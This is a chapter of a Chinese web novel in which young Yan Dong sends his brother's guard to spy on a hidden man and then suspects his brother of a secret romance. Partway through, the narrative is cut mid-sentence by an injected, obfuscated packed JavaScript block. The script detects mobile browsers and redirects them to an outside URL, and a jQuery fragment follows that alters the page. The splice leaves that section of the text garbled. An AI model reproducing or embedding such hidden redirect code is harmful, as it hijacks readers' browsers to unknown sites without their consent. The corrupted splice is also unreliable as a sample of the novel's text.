当午没想到,他到燕冬身边的第一个任务是调查自己的主子。
逢春院不似其余院子对侍从的穿着有统一的规定,只要不逾制,平日都是随他们自己打扮。当午穿着利落的灰色劲装杵在跟前,燕冬把人打量着,目光挑剔,“听说大哥往我院里新拨了几个人,你是其中之一,做我的随侍?”
当午捧手,“属下当午见过小公子,往后听凭小公子吩咐。”
燕冬莞尔,“那你就是我的人咯?”
当午预感不妙,“属下是小公子的人。”
“那你知道当我的人,首要的规矩是哪一条吗?”
“属下恭聆垂训。”
“首要的,自然是忠诚。”常青青学着宫里那些内侍官的腔调做派,给新人说规矩,“既然做了小公子的人,凡事以小公子为尊、为首,违背就是叛主,一律重罚!”
当午听明白了,小公子这是在警告他不许身在逢春院心在熏风院,而此时考验他忠诚的方式就是——
当午扭头看向不远处的一间民院,农生先前进去了一趟,很快又出来。
他们三人一齐跟踪,农生不该毫无察觉,且这附近暗处分明藏着人,此时却没人暗示他阻拦小公子,是否说明世子不介意小公子知道那院中的秘密?可农生先前又何必扯谎遮掩?
“诶。”燕冬扭着眉毛催促。
当午收敛思绪,回头说:“属下会尽快探出里头的秘密。”
燕冬这才满意地“嗯”了一声,“去吧。”
有常青青陪着,暗处还有自己人,因此当午犹豫了一瞬便说:“请小公子稍待,莫要让属下担心,属下很快就出来。”
燕冬无意真的为难当午,更没想着连累他受罚,立刻点头答应,“哎呀,放心吧,我哪儿都不去。”
当午便行礼离去。
“身法这般轻盈利落,不简单。”常青青看着当午三两下消失在院墙外,惊疑道,“世子莫不是把自己跟前的人拨给您了?可此人面生……”
燕颂跟前的人,这么多年下来,燕冬都认遍了,却是头一次见当午。燕颂既然敢把当午派到他跟前来,说明此人必定深得燕颂信任和重用,绝不会是才从哪儿收服的新人。
燕冬摩挲着指环,当午是一个,还是其中一个?若是后者,那燕颂到底背着他在外面养了多少人?竟然连他都不告诉!
燕冬有些不高兴。
“这次的事情让大哥担心了,多一层如影随形的保护,他才安心。”他心不在焉地说。
当午此时被派过来,说明这人和常青青等人不同,是不会真正受他约束的。
“那他方才是敷衍您呢,他肯定会回去给世子爷打小报告!”常青青心虚地抱住燕冬的胳膊,“若是世子知道咱们偷偷跟踪、调查……”
“他要是真的在这里藏人了,我就是师出有名,还要问他要交代呢!”燕冬气势汹汹地撸起袖子,“到时候我要召开燕家大会,谴责这个背着我们在外藏人的人!”
雪暂时停了,但风还刺骨,常青青忙将燕冬的袖子撸下去,“可是当午会不会忽悠您?”
燕冬不怕,当午若是忽悠他,反而也能说明此事有鬼。
两人在墙檐底下嘀嘀咕咕,很快,当午就从前面的院墙翻了出来。他迎着燕冬紧张的目光在对方跟前站定,安抚道:“您放心,里面不是年轻女子。”
砰,心中的石头猛地落了地,燕冬松了口气,随口道:“那是谁啊?”
“是个年轻男子,一双狐狸眼,相貌不俗,只是面色苍白,是有伤在身。属下翻了卧房,里面有一本《进士科选目》,封皮上的落款是,”当午犹豫一瞬,才说,“‘风宋’。”
这个假名字如今不知被多少有心人盯着、咬着,但燕小公子显然不在其中,闻言只说:“哦。”
燕冬没听过这个名字,但只要里头藏着的不是燕颂的野桃花,他就不多打听了。
跟踪小分队就地撤退,顺路去了青龙一街的桂水堂。
进了雅间,燕冬吩咐青青给堂倌碎银,“去隔壁兴路坊问问鱼二公子在不在府里。”
他这几日要喝药,忌口,就点了杯玫瑰清露。常青青要了小碗热奶茶,见当午摇头就打发了堂倌。
堂倌笑眯眯地谢赏,退了出去。
燕冬从书架择出一本古记,才翻了几页,鱼二公子就来了。
鱼照影吩咐了一杯姜茶,进屋在燕冬对面落座,“你来得巧,晚一步我就要和李小侯爷去食楼了。”
他言行如常,不见半点包袱,燕冬彻底放下心来,随口一问:“你大嫂如何了?”
“瞧着是吓坏了,脸煞白,先前她娘来探望,打算去万佛寺拜拜。”鱼照影打开不离身的折扇,在寒冬天里扇着一种名为翩翩风流的东西,“都说是做了噩梦,可我觉得她看我的眼神很不对劲。从前她看我是表里不一,暗藏戒备,今天却好像多了些惊恐和怀疑?”
燕冬摸不着头脑,“莫非她不是做了噩梦,而是被人用什么法子摄住了,疑心是你所为?”
鱼照影摊手,“谁知道。算了,咱不管她。”
说不管就不管,燕冬当即分享了刚才的行动,哪知鱼照影听完秀眉微蹙,“风宋?”
“啊,”燕冬瞧着鱼照影的神情,略觉不妙,“你知道这个人?”
亲卫俯身将托盘放在茶几上,垂在肩前的小辫儿晃了晃,他出去时,鱼照影说:“霞晖,把门关上。”
霞晖应声,出去时轻轻带上了门。
燕冬说:“看来这人不简单。”
“可不。”鱼照影看了眼跪坐在燕冬身后的男人,“眼生啊。”
燕冬说:“当午,我大哥的亲卫,派来监视我的。”
当午:“。”
以燕冬的德性,这句话必定是炫耀。鱼照影笑着摇头,“你还记得潞州的那则传言吗?”
“夭折的四皇子?”燕冬说。
鱼照影抿了口姜茶,说:“潞州丰和村里一个叫风宋的村民,实则是当年宋家管家和明妃贴身侍女的二儿子,真名宋风眠。若传言不假,那他不仅知道四皇子到底有没有夭折,甚至还可能知道四皇子的行踪线索,所以这个人很重要,目前的处境也很危险……冬冬,你怎么了?”
燕冬僵硬地扯了扯嘴角,“风宋就是宋风眠?”
“不错。”鱼照影纳闷,“你怎么一副吃了羊粪球的表情?”
燕冬心里的滋味和吃了羊粪球也差不离了!
风宋竟然就是宋风眠——他不认识,但是他见过这个名字。
噩梦惊醒后,他脑子里莫名多出了自己身在话本世界的认知,并且还出现了一幕话本翻篇,是话本的封皮,上面写着话本名字,底下还有两行小字:
【霸道世子攻×腹黑狐狸受】
【宋风眠看着男人清晰优美的下颌,狐狸眼盈盈落泪,终于认输般地垂眼,羞赧又直白地道:“是,我喜欢你了。”】
显然,第一行是话本的角儿,第二行是原文摘抄。燕冬虽然没听过“攻受”的说法,但顾名思义,大抵能意会一二。
显而易见,宋风眠是话本里的那个“腹黑狐狸受”,而那个“霸道世子攻”虽然没有点名道姓,但燕冬一捋吧,他大哥有清晰优美的下颌线,平日说一不二、不容违背,骨子里自然是霸道得很,更重要的是大雍的世子就那么几个,如今偷偷藏着宋风眠还派亲卫统领亲自去给人家买笔的人的正是他、大、哥!
“啊……”燕冬肩膀一塌。
鱼照影忙问:“小祖宗,又怎么了?别是在刚才那一瞬原地白日做梦梦到什么不好的了吧!”
显然,侯翼已经抽空和鱼照影分享了燕冬的“病因”。
“没,但是……”燕冬卷长的睫毛一颤,茫然地说,“我的天,塌了。”
当午说:“主、世子好好的。”
“他是好,好得不得了,”燕冬喃喃,“命定爱侣共筑爱巢,能不好吗?”
众人:“?”
糟了,小公子莫不是后遗症,都出现幻觉了!常青青在心里尖叫。
鱼照影用扇子敲了下脑袋,最先回过味儿,“你是怀疑燕大哥和这个宋风眠?”
“世子留着宋风眠是因为他身份特殊,有用,绝不是因为儿女情长。”当午为主子澄清立场、力证清白。
常青青也小声说:“公子,是不是有什么误会啊?”
燕冬把刚才捋出来的线索说了出来,尤其认为燕颂派亲卫统领出来给人买笔这一点实在无法解释,引人遐想——要知道这么多年,区区小事就能劳动农生是燕冬才有的待遇!
雅间顿时陷入沉默,众人目光汇聚,各有心思:
常青青:世子能动情?!
鱼照影:燕大哥能对一个男人动情?!
“这一点的确不好解释啊。”鱼照影摩挲扇柄,边思索边小心地瞅着燕冬的脸色,“若说是为了隐蔽行踪,燕大哥更应派遣鲜少在人前露面的高手,而不是作为亲卫统领的农生,这样反而更易引人注意。”
当午不敢腹诽燕颂,却也觉得是这个道理。
“不,我不愿意相信,”燕冬闭眼深吸一口气,“我要再次成立调查小队,严查事情真相!”
“好!”鱼照影先捧场,后询问,“从何处下手呢?”
“自然是这个被带回来的男人……你,”燕冬扭头看向当午,举起两颗很硬的拳头,“我很认真很严肃,敢阻挠我的事,你就完了!”
当午暗自叫苦,忙说:“属下不敢。”
“哼。”燕冬扭头,抱臂,“风宋身份特殊,所以此事不可外传
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457002|169559||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,以免暴露他的身份,惹出事端。他藏的那间院子,咱们也不好光明正大地往那靠,免得招来耳目。”
“哟。”鱼照影笑道,“咱们小公子还是很体贴的嘛。”
燕冬烦躁地挠了挠腮,“他若暴露身份,便有性命之虞,不能玩笑。”
鱼照影捧手,“在下任凭燕小公子吩咐。”
常青青说:“我也一样!”
“我的计划是——”燕冬双手撑桌,严肃地说,“暗自调查,明里试探,双管齐下。”
“不错不错,”鱼照影晃着扇子,“具体如何实施呢?”
燕冬发号施令,“鱼儿,你消息灵通,就负责留心关于风宋的消息。”
鱼照影说:“得令。”
“当午,你负责监视小院,密切注意那里的动静。”
当午为难,“小公子恕罪,属下不能离您太远。”
“哈?”燕冬挑眉,“终于不装了?还信誓旦旦地说是我的人,你亏不亏心?”
当午倔强地说:“属下是世子的人,又奉命保护小公子,便算是小公子的人。”
燕冬轻哼,倒也不为难他,“好吧,那你就在保护我并且定时跟你主子打小报告的同时帮我试探他和春春、农生的口风吧,有什么消息必须立刻告知于我。”
当午犹豫道:“这……”
燕冬横眉,“嗯?”
当午不得不说:“属下遵命。”
这还差不多,燕冬分派了任务,喝了会儿茶,期间和鱼照影研究讨论了“攻”“受”的涵义,认为按照这个说法,鱼照影是受,霞晖是攻,就各自打道回府了。
正是用饭的时辰,燕冬去了梅苑,期间,他瞅了眼大口朵颐的爹爹和优雅斯文的娘亲,十分自然地说:“全天下最美丽的娘亲和最英俊的爹爹,你们有没有幻想过未来的大儿媳妇儿?”
“当然。”燕青云露出一点老父亲想要抱孙孙的期待。
“那你们幻想的大儿媳妇儿是什么样的?”
燕青云的标准简单且蛮横,“让你娘亲中意的。”
“最好的便是和你大哥两心相知、齐心相守的女儿,若是颂儿命中没有这样的缘分,那他选谁就是谁,我们相信他的眼光。怎么,”崔拂来看向燕冬,“颂儿可是和哪家姑娘对眼了?”
燕青云:“嗯?!”
“别激动别激动,没有的事,我就是随口问问。”燕冬遮掩道,“这不是看你们真的一点都不着急大哥的婚事嘛。”
崔拂来笑道:“做爹娘的自然希望孩子们能够成亲生子、阖家幸福,但也不能违背孩子的意愿,你大哥没这份心,我们何必去催?反正颂儿自小懂事稳重,自来不要咱们操心,他心里有数。”
“就是,你大哥比外面耍大街的木陀螺还要忙,我们就不多说他不爱听的话、招他的烦了。”燕青云见燕冬一副心不在焉、若有所思的模样,便给他夹了块烧羊排,大胆猜测道,“哟,莫不是我们小崽儿春心萌动了,在这儿借着大哥试探我们的口风?”
崔拂来目光打趣。
“哎呀,哪有的事!”燕冬闹了个红脸,慌忙放下筷子,摆着手说,“我忙着继承大哥的家风考第一呢,哪有心思谈情说爱?”
夫妻俩被小儿子的反应逗笑,崔拂来说:“好好好,都怪你爹,大燕雀安知小燕雀之志?”
“就是!”燕冬瞪了眼笑个不停的燕青云,起身拿勺子给他添了一大碗饭,“多吃饭,少说话!”
燕青云赶紧捧碗,“好,爹不说了,马上吃完。”
燕冬很有威严地“嗯”了一声,可不敢再提婚事了,等用了膳,他陪着崔拂来把今年给崔郡王府备的年节礼单检查了一遍,就回院里去了。
考第一不是说说,燕冬一下午都窝在书房,晚膳简单用了一小碗核桃乳,又埋头学了半个时辰。
“公子,”和宝像只报喜鸟,欢快地落在窗外,“世子回来了。”
燕冬立刻丢下书,抄起一旁的黄杨木笔盒去熏风院。
燕颂换了身居家的棉袍,束发披散,用一根白色细带松松地系在发中后端,坐在书桌后处理公务。他在燕冬眼里从不是人鬼惧怕的阎王,也不是翻云覆雨的权臣,光论眼下,分明只是个美人,大美人。
十多年都看不腻,燕冬站在窗外痴痴地大饱了眼福,才掉头进去。
“我开过笔了,大哥试试。”
燕冬打开盒子放在桌上,燕颂拿起来,濡笔在文书上写下一行批复,字极好,刚柔相济,不衫不履。
“不错。”燕颂抬头,目光一顿,“怎么了?”
他只一眼就看破了燕冬故作寻常的面具,察觉出不对劲,燕冬一愣,握着桌角的左手紧了紧,心门和牙关一并漏了缝儿:
“哥哥,你是心悦那个宋风眠吗?”